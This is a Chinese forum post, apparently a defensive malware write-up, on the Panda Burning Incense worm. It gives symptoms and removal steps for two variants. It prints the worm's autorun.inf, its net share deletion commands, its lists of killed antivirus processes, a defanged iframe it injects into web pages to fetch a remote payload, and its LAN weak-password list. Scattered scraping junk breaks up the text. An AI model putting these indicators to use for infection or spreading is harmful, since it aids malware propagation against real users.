熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。
: ^5 F5 J- X' x/ v
2.创建启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
& k* x  X  A: z% L  g　　"svcshare"="%System%\drivers\spoclsv.exe"
9 O7 A- g2 E- S) w& z
$ ^: M$ P; y7 ^/ Q3 M7 r3.在各分区根目录生成病毒副本：　　X:\setup.exe
# [/ T& I2 ]  w5 P8 S0 I　　X:\autorun.inf
autorun.inf内容：
[AutoRun]
: l# B& ~2 {( \3 e6 ~# p　　OPEN=setup.exe
- K) Y5 ~8 v  _$ S0 F& |3 B　　shellexecute=setup.exe
　　shell\Auto\command=setup.exe
3 E1 @$ G' c( B- _
7 t) |, G  A. a8 W$ R# g4.使用net share命令关闭管理共享：
' t& }' W5 k3 y. F7 L* ncmd.exe /c net share X$ /del /y
　　cmd.exe /c net share admin$ /del /y
; I" }6 {) r6 E, k* D6 Z
5.修改“显示所有文件和文件夹”设置：
1 a" V0 L- G% \[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
　　"CheckedValue"=dword:00000000

$ r5 T6 q/ r) R& l& [6 u% O) A" _6.熊猫烧香病毒尝试关闭安全软件相关窗口：
天网
防火墙进程
VirusScan
( b! e" s9 k4 }NOD32
* N# H, d8 p6 i% t% z网镖杀毒毒霸瑞星江民黄山IE
% b% F  l8 s# V  \超级兔子优化大师木马清道夫木馬清道夫
QQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
% I/ C! \( O5 kSymantec AntiVirus
! i$ S( j+ f) `, UDuba
' l* z- e: U! ], t6 G5 xWindows 任务管理器
; b; }9 V' {! Besteem procs
绿鹰PC
密码防盗噬菌体木马辅助查找器
System Safety Monitor
) ~8 E& v# [: g$ b3 CWrapped gift Killer
0 C/ C3 m7 A- c" D, bWinsock Expert
游戏木马检测大师超级巡警
msctls_statusbar32
pjf(ustc)
IceSword

: O5 w8 v9 [& f' [7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
Mcshield.exe
" O9 ?% s. z# S$ U3 t7 t　　VsTskMgr.exe
$ c" _5 `0 s" U2 s　　naPrdMgr.exe
# A6 u5 U- d5 S: ^% Q　　UpdaterUI.exe
　　TBMon.exe
　　scan32.exe
　　Ravmond.exe
　　CCenter.exe
　　RavTask.exe
0 T$ M& }( H- I- ?　　Rav.exe
　　Ravmon.exe
　　RavmonD.exe
; |3 R, B; R* ~# k　　RavStub.exe
　　KVXP.kxp
; O! P5 B" C& @* C　　KvMonXP.kxp
　　KVCenter.kxp
　　KVSrvXP.exe
　　KRegEx.exe
　　UIHost.exe
　　TrojDie.kxp
　　FrogAgent.exe
　　Logo1_.exe
+ [3 I; S" V# I6 E0 y$ L2 g) J　　Logo_1.exe
　　Rundl132.exe

6 b$ y( M# g2 n6 V2 i" A8.禁用安全软件相关服务：
9 e, p, u6 ~" zSchedule
0 c) Z5 ^7 Z; s0 M* s5 l　　sharedaccess
5 ]( j" i6 _( K- ~　　RsCCenter
　　RsRavMon
　　KVWSC
9 U. E3 _5 w9 _' x1 c　　KVSrvXP
　　kavsvc
　　AVP
7 J( F1 t, |% d　　McAfeeFramework
' m2 }3 l2 w2 `　　McShield
0 X1 w4 b/ t) z2 \- c: \, Z　　McTaskManager
2 R8 P; z: F+ D2 P　　navapsvc
+ A+ L4 Y6 k6 ]　　wscsvc
　　KPfwSvc
; i/ Y- U7 J+ i$ V* K　　SNDSrvc
+ K5 i; X# Z2 f- j" {6 |/ _　　ccProxy
　　ccEvtMgr
　　ccSetMgr
　　SPBBCSvc
1 R* F3 b0 y; L6 Y3 @( j　　Symantec Core LC
　　NPFMntor
　　MskService
　　FireSvc

4 X( S( _0 ~9 {/ s" {9.删除安全软件相关启动项：
SOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
8 @% \" C- }0 P- P- B　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
& \9 o3 ]1 p! O5 d% \4 n　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
& q8 k! W4 ]4 G: |+ Q　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
Reporting Service
" g& S& ~7 V4 h( e# Z: B　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
但不修改以下目录中的网页文件：
1 I% d% @  o7 @- h4 A, AC:\WINDOWS
8 Z: g) i+ p% P- R, C; f　　C:\WINNT
　　C:\system32
　　C:\Documents and Settings
" `) q9 O1 J8 e, S7 U( D+ ]　　C:\System Volume Information
$ c- f( R! Q$ C- d; T5 v　　C:\Recycled
　　Program Files\Windows NT
　　Program Files\WindowsUpdate
　　Program Files\Windows Media Player
  `$ f/ j% o: g1 Y( |% [; w　　Program Files\Outlook Express
3 @; I, |3 {, D/ [9 C  R3 _　　Program Files\Internet Explorer
" ?. z4 a1 c2 m　　Program Files\NetMeeting
　　Program Files\Common Files
) u  ?/ w- u2 U9 P* \　　Program Files\ComPlus Applications
7 k6 L8 h) O! Y2 l　　Program Files\Messenger
　　Program Files\InstallShield Installation Information
0 M9 \* b& W' ?　　Program Files\MSN
　　Program Files\Microsoft Frontpage
. d% v9 M6 P/ J) W( _" s2 ]　　Program Files\Movie Maker
　　Program Files\MSN Gamin Zone
5 q- \0 @! `/ t! T11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
" x# y* a1 W, t* `1 j) t& H9 ~12.此外，病毒还会尝试删除GHO文件。
+ F* B  j; q. v7 N病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
' q0 k9 C1 [) |9 N3 M　　harley
3 i: [4 g/ F  l　　golf
　　pussy
　　mustang
　　shadow
　　fish
　　qwerty
　　baseball
　　letmein
　　ccc
# s5 u% b6 ^  ]* J* I; J5 h; m7 U　　admin
　　abc
9 g( D3 ^9 T: h- }" w6 l* O% Y　　pass
　　passwd
　　database
　　abcd
　　abc123
　　sybase
( W' W; P: E* i) U4 Q　　123qwe
　　server
　　computer
　　super
" k" ]1 g+ Z- S6 t0 D" @; r　　123asd
: D+ `# S) F( @, ^& @6 N( @# X　　ihavenopass
* C1 N! e  c1 ?1 d0 c　　godblessyou
　　enable
3 P. B8 x3 d( z　　alpha
/ P& I3 F+ l  T( ]: b　　1234qwer
　　123abc
) J( A2 @( Z; |& E# J, R4 y　　aaa
1 x8 j0 E- @# E/ M3 A5 u7 t+ z　　patrick
　　pat
/ Y+ L7 T" l. _" a; s$ }) n6 P　　administrator
　　root
　　sex
　　god
- O, z4 D1 N% e4 E1 n. ]" R: `　　fuckyou
& E4 G) |" W& x0 _7 P　　fuck
　　test
　　test123
: x6 I/ \: p0 i# @+ L- t& N　　temp
( e+ K0 F* _1 Z# d1 ?  C' G# b　　temp123
; c, j) ~4 j) v. n; M! h　　win
3 z& _4 u+ f0 s% l　　asdf
　　pwd
  C8 k( N8 \4 o/ q- z5 R# \4 [　　qwer
. w+ w% O* F8 x$ Z' D　　yxcv
　　zxcv
  e) z& A$ p* n( f4 k　　home
　　xxx
- I) W( a( L5 C  j- z' J　　owner
　　login
　　Login
　　love
　　mypc
' w# q" {8 ?/ Z* P# H　　mypc123
2 k/ ]3 M: K/ P9 c4 x　　admin123
　　mypass
　　mypass123
; r( \9 V' x( Z　　Administrator
+ |* m2 U" n( u. U2 R& w) L3 D2 B　　Guest
　　admin
" W5 S. X7 a* `6 x& e　　Root
4 S! `2 A; Q1 I! _
6 |  @7 Z0 Z) }% C病毒文件内含有这些信息：
& A9 u+ S. G% A6 K/ n# T$ b
whboy
! S( ]/ M  S/ D　　***武*汉*男*生*感*染*下*载*者***
解决方案：
. q9 l2 g  n& R& }1 `
6 {, H% c2 Z/ u) g: t1 G/ f1. 结束病毒进程：
%System%\drivers\spoclsv.exe
8 [, e! R, y4 a/ T: \* E3 l不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。

2. 删除病毒文件：
%System%\drivers\spoclsv.exe
请注意区分病毒和系统文件。详见步骤1。
: k/ |! {% s( [: c! M; j
: \% @. E- V5 f& \' f3. 删除病毒启动项：
8 X& ~- B7 N$ d% {[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
: Q7 ~, l- w# X( Q! t7 @7 C　　"svcshare"="%System%\drivers\spoclsv.exe"

/ Z$ D: g% @- d6 N4 n4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
X:\setup.exe
4 K+ b( I- o- h+ l4 k　　X:\autorun.inf
' A& @( B3 z6 ?9 w; p" v8 o
5. 恢复被修改的“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
2 E( T9 ]* g% S, N# |　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
　　"CheckedValue"=dword:00000001
7 d2 Z& ?- F/ e* i
3 L' Q2 s2 T) s9 g4 e" x/ z6. 修复或重新安装被破坏的安全软件。

5 r6 t% w! U8 C6 n7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
金山熊猫烧香病毒专杀工具
http://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
1 @6 U# Q9 i8 Y3 ^" x7 I安天熊猫烧香病毒专杀工具
http://www.antiy.com/download/KillPP.scr
江民熊猫烧香病毒专杀工具
! ]$ G2 r9 z' m3 rhttp://ec.jiangmin.com/test/PandaKiller.rar
- }7 N5 e) u  [7 @; {瑞星熊猫烧香病毒专杀工具
5 K! l5 y8 `1 a0 Q4 dhttp://download.rising.com.cn/zsgj/NimayaKiller.scr
。也可用手动方法（见本文末）。

8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。

熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”

以下是数据安全实验室提供的信息与方法。
病毒描述：
1 K, {, g7 U4 D7 {  j含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
5 v( i" N  L0 [9 \$ I4 V# L) Z
4 w& \. P" j' F0 i) a病毒基本情况：
" f( M& f0 I; r8 L+ r
[文件信息]

病毒名: Virus.Win32.EvilPanda.a.ex$
　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
" v! \" v- ]1 r; K& ?$ W　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
9 K1 i! k8 O: k5 ]1 l: y2 ~5 t+ Q: G　　壳信息: 未知　　危害级别：高

  T0 e( h  Q3 b) Z9 d病毒名: Flooder.Win32.FloodBots.a.ex$
　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
: C( `: t0 N1 F& y. [% _3 A　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
　　危害级别：高
0 X& `1 R, M. @8 @8 o. x7 F0 H
病毒行为：

; d  Y( Z3 ^. V9 DVirus.Win32.EvilPanda.a.ex$ ：
9 g) v# j0 B2 k& Z
1、病毒体执行后，将自身拷贝到系统目录：
8 W6 c: v7 ~9 j%SystemRoot%\system32\FuckJacks.exe


  Y2 @9 s! T& y　　2、添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：FuckJacks
　　键值："C:WINDOWS\system32\FuckJacks.exe"
; E; X; Z  J: o1 J2 k
) z" }+ d3 |5 K- R  \键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：svohost
　　键值："C:WINDOWS\system32\FuckJacks.exe"

( r. t# X2 q  J0 h3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
) m* O2 e" b7 U" k" mC:autorun.inf    1KB    RHS
* ]$ C( i6 Z* Y- J5 g" {　　C:setup.exe    230KB    RHS

4、关闭众多杀毒软件和安全工具。
/ `1 D/ ^6 R' F# d& r  a
5 p# G; h$ Q" I! Q5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。
; Y8 ^5 |  O1 \1 I# x  f+ d
: h3 u5 T& }, f4 A7 S& x, c6、刷新bbs.qq.com，某QQ秀链接。
$ H, }5 G) s1 j# Q: e/ E1 u$ g0 f8 P
! a  \  J! [( H, d5 n8 w% H; S7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。
- ^7 W  _& K' B' x) h6 A. X
Flooder.Win32.FloodBots.a.ex$ ：

1、病毒体执行后，将自身拷贝到系统目录：
; t- E! K1 F, S# `3 E: F) r5 @1 |1 q%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）

2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
. d  @2 q4 V0 L0 W. O/ Y% Y( G　　键名：Userinit
# ~3 G; B- k$ h* k0 G% |　　键值："C:WINDOWS\system32\SVCH0ST.exe"

3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
. Z' K- W: @' b配置文件如下：
www。victim.net:3389
8 }- [+ {0 M) N( F　　www。victim.net:80
　　www。victim.com:80
　　www。victim.net:80
+ X6 Z+ C9 D- w/ }/ R　　1
　　1
" j! n1 `; k! f! ^: s+ S　　120
/ j* {. ]' g/ a, g+ [7 f# R　　50000

6 \1 \7 U$ H  G* ~解决方案：

1. 断开网络

2. 结束病毒进程：%System%\FuckJacks.exe

3. 删除病毒文件：%System%\FuckJacks.exe

4 Q* v1 U2 j" l$ g4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
1 ]' d" k# t% k! \  G　　X:\setup.exe

5 d# z! \9 K* y7 r5. 删除病毒创建的启动项：
( H5 G; Y/ z' Q- Z[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
: t: I' L$ B- O; B2 h# ^: j  r; ?% f　　"FuckJacks"="%System%\FuckJacks.exe"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
　　"svohost"="%System%\FuckJacks.exe"

6. 修复或重新安装反病毒软件

7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。

手动恢复中毒文件（在虚拟机上通过测试，供参考）

1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。

2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口
$ \/ r9 r# n! T+ |" P
' r- V- G4 Z0 {" E$ p% z3 L" h3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。
. O6 w# L6 }/ s
4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。
: L" U7 l1 R# |0 ?
' q! w# P( Q# y+ }% Z/ f3 c5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。

0 B! t8 {4 p3 z: P( S, Z就是将那个GHOST备份文件不要设置为后缀GHO
( C( V0 R( \1 C1 v% |2 N/ @/ ?
, C6 O2 _: m& ?9 j! T0 V2 K( ~你换一个后缀不就没事了吗？
: ]6 I* m/ @/ Q+ t+ V. a恢复时后缀只是起显示作用
! l$ G+ e. g" g7 U& T& O只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
2 D* q5 G7 U2 D! m7 p1 `, Y存的片子和游戏全没了！！气死我了！！！
这病毒出现后没想到是金山反应最快~
# d- f% d, O- E3 P' f瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！